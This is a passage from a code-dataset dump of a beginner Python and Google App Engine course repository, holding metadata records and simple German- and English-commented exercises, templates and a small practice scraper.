"src_encoding": "UTF-8",
"text": "\n# dict {key:value, key_2:value_2}\nmy_dict = {\"Monika\": 29, \"Eva\": 39}\n\nprint my_dict[\"Monika\"] # 29\n\n\n# Comparison to lists:\n\n# 0 1 2\n# list: shopping_list= [\"Butter\",\"Brot\",\"Honig\"]\n# print shopping_list[0]\n"
},
{
"alpha_fraction": 0.7747747898101807,
"alphanum_fraction": 0.7837837934494019,
"avg_line_length": 26.875,
"blob_id": "8eab9d76e8a3708249f5089bc79038a096de35d8",
"content_id": "9b62caed002946603e9f7a9d9e834cf749c48dca",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 222,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 8,
"path": "/WD1-GAE/gae_00000__installation/readme.txt",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "Option 1:\nFor Windows: Download and install Gcloud from:\nhttps://cloud.google.com/appengine/docs/standard/python/download\n\nOption 2:\nFor Linux and macOS:\nrun install.sh. you can run it from inside this folder\n./install.sh"
},
{
"alpha_fraction": 0.6147382259368896,
"alphanum_fraction": 0.6147382259368896,
"avg_line_length": 27.127273559570312,
"blob_id": "7f321ea536ee12f0238762677de47568c6faa332",
"content_id": "3d3a6b28bf990340aba485603cf7aa4bef4754f3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1547,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 55,
"path": "/python_00300_files_jsons_dicts/example_01230_exercise_todo_list____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# create a program, which can keep track of a todo list\n# you can add tasks\n# if you add a tasks, by default it is not done\n# you can set a task to have the status done\n# you can save the todo list\n# you can load the todolist from a file\n# you can view the entire list\n# you can view only the tasks which are not done\n\n\nimport json\n\nprint \"Welcome to Jacobs To-Do-List creator!\"\n\ntodo_list = {}\n\nwhile True:\n task = raw_input(\"Please enter your task: \")\n status = raw_input(\"Is {} already done? yes/no\".format(task))\n print \"Your task is: {} , and it is done: {}.\".format(task, status)\n\n if status.lower() == \"yes\" or status.lower() == \"y\":\n todo_list[task] = \"done\"\n else:\n todo_list[task] = \"not done\"\n\n another = raw_input(\"Would you like to add another task? yes/no\")\n\n if another.lower() == \"yes\" or another.lower() == \"y\":\n continue\n else:\n break\n\nfile = \"todo_list.json\"\n\nwith open(file, \"w\") as f:\n json.dump(todo_list, f)\n\nwith open(file, \"r\") as f:\n todo_list = json.load(f)\n\n all_tasks = raw_input(\"Do you want to see all tasks? yes/no\")\n if all_tasks.lower() == \"yes\" or all_tasks.lower() == \"y\":\n print todo_list\n else:\n print\n\n done_tasks = raw_input(\"Do you want to show the not done tasks? yes/no\")\n if done_tasks.lower() == \"yes\" or done_tasks.lower() == \"y\":\n for task, done in todo_list.items():\n if todo_list[task] == \"not done\":\n print task\n\n\n# solve this exercise by only doing very small parts at a time\n"
},
{
"alpha_fraction": 0.5214446783065796,
"alphanum_fraction": 0.5801354646682739,
"avg_line_length": 16.639999389648438,
"blob_id": "61addcaece49ee2dd70cc27ed43ac6346519b7b5",
"content_id": "2c663f13ce0ec010bd138e931dd4f71bedc6ba01",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 445,
"license_type": "no_license",
"max_line_length": 55,
"num_lines": 25,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_01040_exercise_for_if.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\n\n# printe zahlen bis 100\nnumbers = range(101)\nprint numbers\n\n# wenn die zahl gerade: print \"yu\"\n# sonst wenn du zahl ungerade und größer 50: print \"yo\"\n# sonst wenn du kleiner 20 print: \"ye\"\n# sonst print die zahl\nfor item in numbers:\n if item % 2 == 0:\n print \"yu\"\n elif item > 50:\n print \"yo\"\n elif item < 20:\n print \"ye\"\n else:\n print item\n\n\n# 2->yu\n# 51 -> yo\n# 19 -> ye\n# 35 -> 35\n\n\n"
},
{
"alpha_fraction": 0.4655532240867615,
"alphanum_fraction": 0.47390395402908325,
"avg_line_length": 20.81818199157715,
"blob_id": "5ea8f61a088d5cd41653c9ec72fd2b8cc3070020",
"content_id": "0f050c395a850ca8661ec105f5f8df92eb2edfc1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "HTML",
"length_bytes": 479,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 22,
"path": "/WD1-GAE/gae_00500__authentication_jsonapi/example_01010__blog_with_auth/templates/message_detail.html",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "<body>\n\n {% if logged_in %}\n\n <h1>Message info</h1>\n\n <p>Message ID: {{ message.key.id() }}</p>\n <p>Name: {{ message.name }}</p>\n <p>Text: {{ message.message_text }}</p>\n <p>Date: {{ message.created }}</p>\n\n <a href=\"/message/{{ message.key.id() }}/edit\">Edit message</a>\n <br>\n <a href=\"/message/{{ message.key.id() }}/delete\">Delete message</a>\n\n {% else %}\n\n <h1> Please login</h1>\n\n {% endif %}\n\n</body>"
},
{
"alpha_fraction": 0.5151515007019043,
"alphanum_fraction": 0.5515151619911194,
"avg_line_length": 17.11111068725586,
"blob_id": "9e4d261bc2255f4cd1b8c3e60c8f0bb875aa31c2",
"content_id": "40c46c2b3597ac1973348dcde91c881fd55e61ac",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 165,
"license_type": "no_license",
"max_line_length": 27,
"num_lines": 9,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_01030_for_loops_else_break____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "for number in range(1, 11):\n square = number**2\n if square > 50:\n break\n else:\n print(square)\nelse:\n print(\"Finished Well\")\nprint(\"END\")\n\n\n"
},
{
"alpha_fraction": 0.6555555462837219,
"alphanum_fraction": 0.7111111283302307,
"avg_line_length": 20.5,
"blob_id": "f8b2ecf97a7082eec8d5153cdfadff5fbe9888e7",
"content_id": "7f858ea478767a123d3dbd81c798cbf84c2dbcc4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 180,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 8,
"path": "/python_00100_datatypes_calculator/example_00230_operations_integers_augmented_operators_exercise_solutions.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# increase the value of number by 10 with augmented operators\r\nnumber = 10\r\nnumber += 10\r\n\r\n\r\n# divide the value of number by 2 with augmented operators\r\nnumber = 10\r\nnumber /= 2\r\n"
},
{
"alpha_fraction": 0.6868420839309692,
"alphanum_fraction": 0.6947368383407593,
"avg_line_length": 33.54545593261719,
"blob_id": "b92100942af2adf67f61cbe887692493257fab37",
"content_id": "71cc2f9327e1d5c77fc64732b80ec43bf52910c2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 380,
"license_type": "no_license",
"max_line_length": 71,
"num_lines": 11,
"path": "/python_00400_functions/hw_lottery_numbers_tests_solutions.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import hw_lottery_numbers_solutions\n# check if your function can pass the tests\n\ndef check_lottey_numbers():\n numbers = hw_lottery_numbers_solutions.lottery_generator()\n assert len(numbers) == 6, \"should return 6 numbers\"\n assert len(list(set(numbers))) == 6, \"should return unique numbers\"\n\nif __name__ == '__main__':\n check_lottey_numbers()\n print \"Passed Tests\"\n"
},
{
"alpha_fraction": 0.6356589198112488,
"alphanum_fraction": 0.6744186282157898,
"avg_line_length": 20.5,
"blob_id": "3cdfd70e35d43ed25c00365e23f17d9a265daa2b",
"content_id": "591df56bccad106b311a13ab0c55a425b491f5ce",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 129,
"license_type": "no_license",
"max_line_length": 44,
"num_lines": 6,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00615_while_loop_changing_condition.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\n# while can recheck a condition on each loop\ncounter = 1\nwhile counter < 20:\n counter += 2\n print (counter)\n"
},
{
"alpha_fraction": 0.626086950302124,
"alphanum_fraction": 0.626086950302124,
"avg_line_length": 22,
"blob_id": "681b6f2f14b80fb667db2ee030f3003828328185",
"content_id": "333369883a390f792a8d97b53328b03f29e93c31",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 115,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 5,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00620_while_loop_cookies.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "answer = None\nwhile answer != \"yes\":\n answer = raw_input(\"Give me some cookies!\")\nelse:\n print (\"Thank you\")\n"
},
{
"alpha_fraction": 0.7179487347602844,
"alphanum_fraction": 0.7362637519836426,
"avg_line_length": 29.33333396911621,
"blob_id": "267a1645a61919b4d535ed77273207b295ebd1ac",
"content_id": "a13e6a57fcba7bbd02f74f4e0f31b27fde47bbd9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 273,
"license_type": "no_license",
"max_line_length": 66,
"num_lines": 9,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00620_while_loop_with_input_try_except_exercise_2.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# Schreibe einen Code, der einen Fehler produziert\n# Z.B. ZeroDivisionError\n# Packe das ganze in ein try-except, und rette den Code\n\ntry:\n variable_1 = 1/0\n print variable_1\nexcept ZeroDivisionError:\n print \"You tried to divide through 0. Please check your code.\"\n"
},
{
"alpha_fraction": 0.7337278127670288,
"alphanum_fraction": 0.7376725673675537,
"avg_line_length": 29.5625,
"blob_id": "a053b85662ecef22ff35e5f5177809ea33bf75b8",
"content_id": "de3dfbe63eda453b028b6228d9f00ba626760e97",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 515,
"license_type": "no_license",
"max_line_length": 55,
"num_lines": 16,
"path": "/python_00100_datatypes_calculator/example_00300_operations_strings_exercise_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\r\n# mache einen string mit einem platzhalter\r\n# es ein ein begrüßungstrings\r\n# der platzhalter wird mit einem namen aufgefüllt\r\n# und angezeigt\r\nname = \"Alfred\"\r\nprint \"Willkommen auf unserer Homepage %s\"%(name)\r\nprint \"Willkommen auf unserer Homepage {}\".format(name)\r\n\r\n\r\n# mache einen string mit einem platzhalter\r\n# es ein ein begrüßungstrings\r\n# mit 2 platzhaltern für vorname und nachname\r\nvorname = \"Joe\"\r\nnachname = \"Johnson\"\r\nprint \"Begrüßungstext {} {}\".format(vorname, nachname)\r\n\r\n"
},
{
"alpha_fraction": 0.5858480930328369,
"alphanum_fraction": 0.6087408661842346,
"avg_line_length": 19.02083396911621,
"blob_id": "174387f8d42e864e1f21d3f7eb7232e7bbf00c59",
"content_id": "aba4db60fb14743ac987c2c055ccc850835b4d36",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 961,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 48,
"path": "/python_00400_functions/example_01350_exercise_math_functions_solution____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\ndef addition(x,y):\n return x + y\n\ndef subtraction(x,y):\n return x - y\n\ndef multiplication(x,y):\n return x * y\n\ndef division(x,y):\n return x / y\n\ndef division(a,b):\n if b==0:\n result = \"Kein dividieren durch 0\"\n else:\n result = float(a)/float(b)\n return result\n\ndef division2(a,b):\n if b==0:\n return \"Kein dividieren durch 0\"\n else:\n return float(a)/float(b)\n\ndef division3(a,b):\n try:\n return float(a)/float(b)\n except ZeroDivisionError:\n return \"Kein dividieren durch 0\"\n\ndef division4(a,b): # ternary operator\n return float(a)/b if b else \"Kein dividieren durch 0\"\n\n\n# guard, protection from being executed on import\nif __name__ == '__main__':\n result = addition(10,23)\n print result\n result = subtraction(10,8)\n print result\n result = multiplication(4,2)\n print result\n result = division(27,3)\n print result\n"
},
{
"alpha_fraction": 0.6563706398010254,
"alphanum_fraction": 0.6698841452598572,
"avg_line_length": 14.147058486938477,
"blob_id": "4acfd1fc8a883e3d6d5462e7e540964063644e0f",
"content_id": "e0f48427fae095f72c77cd82c62c720896076ee0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 518,
"license_type": "no_license",
"max_line_length": 81,
"num_lines": 34,
"path": "/python_00400_functions/example_01450_imports_exercise_tdd_solution_tests____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "\"\"\"\nFirst step of the solution. We wrote tests which fail and sketched some functions\n\nfunctions:\n\nsquare_number\ncube_number\n\ntests:\ncheck_square_number\ncheck_cube_number\n\"\"\"\n\ndef square_number(x):\n return\n\n\ndef check_square_number():\n assert square_number(9) == 81\n assert square_number(-3) == 9\n\n\ndef cube_number(x):\n return\n\n\ndef check_cube_number():\n assert cube_number(2)==8\n\n\nif __name__ == '__main__':\n check_square_number()\n check_cube_number()\n print \"Tests completed successfully\"\n\n\n\n"
},
{
"alpha_fraction": 0.5445292592048645,
"alphanum_fraction": 0.5674300193786621,
"avg_line_length": 23.625,
"blob_id": "e23775bfb1f91e1ab6310818de0b5f3c72a3f9b1",
"content_id": "9bf2bc06ff1ea7b5de60ac5c3a0115aae5bb7128",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "HTML",
"length_bytes": 393,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 16,
"path": "/WD1-GAE/gae_00200__jinja_parameters__if/example_00510_jinja_if_exercise/templates/gratulation.html",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <title>Gratulation</title>\n <link rel=\"stylesheet\" href=\"/assets/css/style_gratulation.css\">\n</head>\n<body>\n <h1>Hello {{name}}. You are {{age}} years old.</h1>\n {% if age>70 %}\n <h1>Gratuliere zur Pension!</h1>\n {% else %}\n <h1>Sorry, you still have to work!</h1>\n {% endif %}\n</body>\n</html>"
},
{
"alpha_fraction": 0.7259474992752075,
"alphanum_fraction": 0.7317784428596497,
"avg_line_length": 27.5,
"blob_id": "ef20c9bacae75a96056e513f9b4616904b3c2834",
"content_id": "9ac7ba8e9166128e46d3aebc934e31b030d337bd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 343,
"license_type": "no_license",
"max_line_length": 58,
"num_lines": 12,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00910_list_create_reference_exercise_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\n# write a shopping list\n# list should have the elements: \"bread\", \"butter\", \"soup\"\n# print this list\nshoppinglist = [\"bread\", \"butter\", \"soup\"]\nprint shoppinglist\n\n# you change your mind, you dont want soup, but chocolate\n# change the element soup to chocolate\n# print the list\nshoppinglist[2] = \"chocolate\"\nprint shoppinglist\n\n"
},
{
"alpha_fraction": 0.6312364339828491,
"alphanum_fraction": 0.6572667956352234,
"avg_line_length": 31.928571701049805,
"blob_id": "e055c49390e160905f0468906e7542404c85e080",
"content_id": "25bf76da537459c0728bff27f254b17109d163a7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 461,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 14,
"path": "/python_00400_functions/hw_lottery_numbers_tests.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# check if your function can pass the tests\nfrom hw_lottery_numbers import lottery_generator\n\n\ndef check_lottey_numbers():\n for x in range(200000):\n numbers = lottery_generator()\n assert len(numbers) == 6, \"should return 6 numbers\"\n assert len(list(set(numbers))) == 6, \"should return unique numbers\"\n assert min(numbers)>0\n assert max(numbers)<50\n assert all([n == int(n) for n in numbers])\n\ncheck_lottey_numbers()\n"
},
{
"alpha_fraction": 0.6094182729721069,
"alphanum_fraction": 0.6454293727874756,
"avg_line_length": 21.66666603088379,
"blob_id": "436e697441786dd7dfb65962b4c8513c0e33b6d0",
"content_id": "e17eded2c8561b4c4ccf2424c6ad2d1784b49e39",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 370,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 15,
"path": "/python_00100_datatypes_calculator/example_00400_operations_bools_exercise.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\r\n# erstelle 2 zahlen (Bsp.: 5 und 1000), speichere sie als variablen\r\n# prüfe ob die erste größer als die zweite ist\r\nx = 5\r\ny = 1000\r\nprint x > y\r\n\r\n# prüfe ob beide zahlen gleich sein\r\nprint x == y\r\n\r\n# erstelle 2 strings (wörter) (z.B. Hallo und Tschüss)\r\n# prüfe ob beide wörter gleich sind\r\na = \"Hallo\"\r\nb =\"Tschüss\"\r\nprint a == b\r\n\r\n\r\n\r\n"
},
{
"alpha_fraction": 0.6989796161651611,
"alphanum_fraction": 0.6989796161651611,
"avg_line_length": 23.375,
"blob_id": "52f9f52f4c94dc9bcffc7bab828f302d5a453314",
"content_id": "dc78d10571587855d661a508febe4f543aa50b4e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 196,
"license_type": "no_license",
"max_line_length": 36,
"num_lines": 8,
"path": "/WD1-GAE/gae_00400__models__blog/example_00800_DB_Model__redirect/models.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "from google.appengine.ext import ndb\n\n\nclass Vehicles(ndb.Model):\n brand = ndb.StringProperty()\n model = ndb.StringProperty()\n price = ndb.StringProperty()\n ps = ndb.StringProperty()\n\n"
},
{
"alpha_fraction": 0.5743204355239868,
"alphanum_fraction": 0.5801041126251221,
"avg_line_length": 32.90196228027344,
"blob_id": "709e5b5d544f1c73814fc9af33e467be43d7eeea",
"content_id": "87e847364c0f8a11a590cfde510f83f4662be112",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1729,
"license_type": "no_license",
"max_line_length": 98,
"num_lines": 51,
"path": "/WD1-GAE/gae_00300__jinja_post__extend_blocks/example_00730_jinja_for_show_guess_history/main.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\nimport os\nimport jinja2\nimport webapp2\nimport random\n\ntemplate_dir = os.path.join(os.path.dirname(__file__), \"templates\")\njinja_env = jinja2.Environment(loader=jinja2.FileSystemLoader(template_dir), autoescape=False)\n\n\nclass BaseHandler(webapp2.RequestHandler):\n\n def write(self, *a, **kw):\n return self.response.out.write(*a, **kw)\n\n def render_str(self, template, **params):\n t = jinja_env.get_template(template)\n return t.render(params)\n\n def render(self, template, **kw):\n return self.write(self.render_str(template, **kw))\n\n def render_template(self, view_filename, params=None):\n if not params:\n params = {}\n template = jinja_env.get_template(view_filename)\n return self.response.out.write(template.render(params))\n\n\nclass MainHandler(BaseHandler):\n secret = str(random.randint(0, 10))\n guess = None\n guessed_numbers = []\n\n def get(self):\n return self.render_template(\"main.html\", params={\"did_guess\": self.guess,\n \"guessed_numbers\": self.guessed_numbers})\n\n def post(self):\n self.guess = self.request.get(\"some_text\")\n self.guessed_numbers.append(self.guess)\n is_right = self.guess == self.secret\n return self.render_template(\"main.html\", params={\"is_right\": is_right,\n \"winnernumber\": self.secret,\n \"did_guess\": self.guess,\n \"guessed_numbers\": self.guessed_numbers})\n\n\napp = webapp2.WSGIApplication([\n webapp2.Route('/', MainHandler),\n], debug=True)\n"
},
{
"alpha_fraction": 0.7241379022598267,
"alphanum_fraction": 0.7471264600753784,
"avg_line_length": 56,
"blob_id": "12a80410fc6832737ecfc13f82025be03112d182",
"content_id": "7be428520403d77d07bc3a09e2a54d53270a61fd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 174,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 3,
"path": "/python_00100_datatypes_calculator/example_00450_raw_input_casting_exercise.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# ask for a number to be inputted, and save it in a variable\r\n# if the number is bigger than 1000, print You entered a very big number\r\n# otherwise print The number is cute\r\n"
},
{
"alpha_fraction": 0.7534246444702148,
"alphanum_fraction": 0.7534246444702148,
"avg_line_length": 23,
"blob_id": "ee300b0ffffe1c4f92d665f580af4b5d62ceae95",
"content_id": "1b56877b5181d68e9fbd3da61039d80d138f1c50",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 73,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 3,
"path": "/python_00100_datatypes_calculator/example_00100_hello_world_exercise.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "#print a string with the words Hello and your name\r\n\r\nprint \"Hello Jacob\""
},
{
"alpha_fraction": 0.578635036945343,
"alphanum_fraction": 0.5934718251228333,
"avg_line_length": 32.70000076293945,
"blob_id": "05c7ddefb516b706a884a5558dfd12c017411760",
"content_id": "d7beebd08353a002208a5d0b4a4ec2b72e10d889",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 337,
"license_type": "no_license",
"max_line_length": 62,
"num_lines": 10,
"path": "/WD1-GAE/gae_00500__authentication_jsonapi/example_01100__json_python/1_weather_example.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import json\n\nif __name__ == '__main__':\n with open(\"weather.json\", \"r\") as f:\n weather_info = json.load(f)\n\n print weather_info[\"list\"][0][\"main\"][\"humidity\"]\n print weather_info[\"list\"][0][\"weather\"][0][\"description\"]\n print weather_info[\"list\"][0][\"weather\"][0][\"description\"]\n print weather_info[\"city\"][\"name\"]\n"
},
{
"alpha_fraction": 0.5963302850723267,
"alphanum_fraction": 0.642201840877533,
"avg_line_length": 17.16666603088379,
"blob_id": "0f8686de6b42e371623eb42843e8e7a6000c8664",
"content_id": "3efd28ed542ee982fbda5b6b9c1baa9d1ccd2f4c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 109,
"license_type": "no_license",
"max_line_length": 27,
"num_lines": 6,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_01020_for_loops_else____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\nfor number in range(1, 11):\n print number**2\nelse:\n print(\"Finished Well\")\nprint(\"END\")\n"
},
{
"alpha_fraction": 0.6769596338272095,
"alphanum_fraction": 0.6793349385261536,
"avg_line_length": 34.16666793823242,
"blob_id": "2192aa3262e592a50f18a16d3f561f2f898a1f1f",
"content_id": "cc98351a6bdfccc6ba4d53d668a902fc48fc0f38",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 424,
"license_type": "no_license",
"max_line_length": 133,
"num_lines": 12,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00620_while_loop_with_input_exercise_2_solution_1.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\n# Schreibe eine while Schleife\n# sie bricht nur dann ab, wenn der User \"yes\" oder \"no\" eingegeben hat\nwhile True:\n answer = raw_input(\"Are you human?\")\n if answer == \"yes\" or answer == \"no\":\n print \"cool\"\n break\n else:\n print \"still awesome\"\n\n# diese Lösung ist gut, aber vielleicht können wir noch etwas mehr zusammenfassen, und auch großgeschriebene YES und NO gelten lassen"
},
{
"alpha_fraction": 0.5780822038650513,
"alphanum_fraction": 0.6273972392082214,
"avg_line_length": 23.399999618530273,
"blob_id": "9f0b357d6d92445d87e66a03fbf4a943773788c2",
"content_id": "da4c0b60605c3129f4162b6d94512793934c8efe",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 365,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 15,
"path": "/python_00400_functions/example_01435_tdd_exercise_3_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# (3/3 part exercise)\n# TDD Exercise 3:\n# correct the function until it passes all the tests\ndef test_subtract():\n assert subtract(10, 5) == 5, \"First test failed\"\n assert subtract(10, -20) == 30, \"Second test failed\"\n assert subtract(-10, 5) == -15, \"Third test failed\"\n\n\ndef subtract(x, y):\n return x-y\n\n\nif __name__ == '__main__':\n test_subtract()"
},
{
"alpha_fraction": 0.5774891972541809,
"alphanum_fraction": 0.5844155550003052,
"avg_line_length": 31.05555534362793,
"blob_id": "d493a8e29c57981df201adf888a1a65e3d3c656d",
"content_id": "5ecaf753d985cf05bfe3a1452e226d7f6e775bef",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1155,
"license_type": "no_license",
"max_line_length": 103,
"num_lines": 36,
"path": "/python_00600_webscrapen/example_01770_scraping_write_to_file.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import urllib2\nimport BeautifulSoup as BS\nimport re\n\n\nif __name__ == '__main__':\n url = 'https://scrapebook22.appspot.com'\n response = urllib2.urlopen(url).read()\n soup = BS.BeautifulSoup(response)\n\n lines = []\n\n links = soup.table.findAll(\"a\")\n for link in links:\n subpage_link = url + link[\"href\"]\n subresponse = urllib2.urlopen(subpage_link).read()\n subsoup = BS.BeautifulSoup(subresponse)\n\n email = subsoup.find(\"span\", attrs={\"class\": \"email\"}).string\n gender = subsoup.find(\"span\", attrs={\"data-gender\": True}).string\n city = subsoup.find(\"span\", attrs={\"data-city\": True}).string\n age_text = subsoup.ul.find(\"li\", text=re.compile(\"(Age)\"))\n age = re.findall(r\"(\\d+)\", age_text)[0]\n\n name = subsoup.findAll(\"h1\")[1].text\n\n print \"name: {}, email: {}, gender: {}, city: {}, age: {}\".format(name, email,gender,city, age)\n\n line = \",\".join([email, city, gender, age, name])\n lines.append(line)\n\n content = \"\\n\".join(lines)\n\n with open(\"names_scrape.csv\", \"w\") as f:\n f.write(\"email, city, gender, age, name\\n\")\n f.write(content)\n\n"
},
{
"alpha_fraction": 0.6291793584823608,
"alphanum_fraction": 0.6322188377380371,
"avg_line_length": 31.899999618530273,
"blob_id": "7803e360a0dc9a4cab3be17dbd3c806efc32f5d4",
"content_id": "bd716bedeb628dee44b9b768006ad2f5c7fcb32f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 330,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 10,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00620_while_loop_with_input_exercise_1_solution_2.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\n# Schreibe eine Schleife, die nach einem Input fragt,\n# bis man eines der Grundrechenarten eingegeben hat.\nwhile True:\n answer = raw_input(\"Enter a valid operation (+ - * /): \")\n if answer in [\"*\", \"+\", \"-\", \"/\"]:\n print \"Thank you\"\n break\n\n# diese lösung ist besser. Achte auf den Unterschied\n"
},
{
"alpha_fraction": 0.5471698045730591,
"alphanum_fraction": 0.5471698045730591,
"avg_line_length": 12.125,
"blob_id": "322e2924536311b4172354eaf8c475d4cc3ab945",
"content_id": "a58007b084282ce72553d3f088280bac67a43a64",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 106,
"license_type": "no_license",
"max_line_length": 26,
"num_lines": 8,
"path": "/python_00400_functions/example_01310_functions_call.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "\ndef func():\n a = \"Hi, this is main\"\n print(a)\n return(a)\n\n\ngreeting = func()\n print greeting\n"
},
{
"alpha_fraction": 0.6000000238418579,
"alphanum_fraction": 0.6399999856948853,
"avg_line_length": 15.75,
"blob_id": "8f8b68001481b955b528babfe9bb7feb135d8a51",
"content_id": "e94d135f845439a61d155ff005c1ba1b83be5099",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 76,
"license_type": "no_license",
"max_line_length": 33,
"num_lines": 4,
"path": "/python_00100_datatypes_calculator/example_00130_show_types_quiz.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "print type(str(1))\r\nprint str(1)\r\n\r\n#concat = füg 2 sachen aneinander\r\n\r\n\r\n"
},
{
"alpha_fraction": 0.5877342224121094,
"alphanum_fraction": 0.591141402721405,
"avg_line_length": 25.68181800842285,
"blob_id": "bea5c7baf6a5d92d4b24a14831e5dec98aa59b5d",
"content_id": "e99d57ad142dff51d92ac469ebb22825feaab7c7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 587,
"license_type": "no_license",
"max_line_length": 90,
"num_lines": 22,
"path": "/python_00300_files_jsons_dicts/example_01140_dictionaries_capitals_game.py",
"repo_name": "jacbut/wd1_2018",
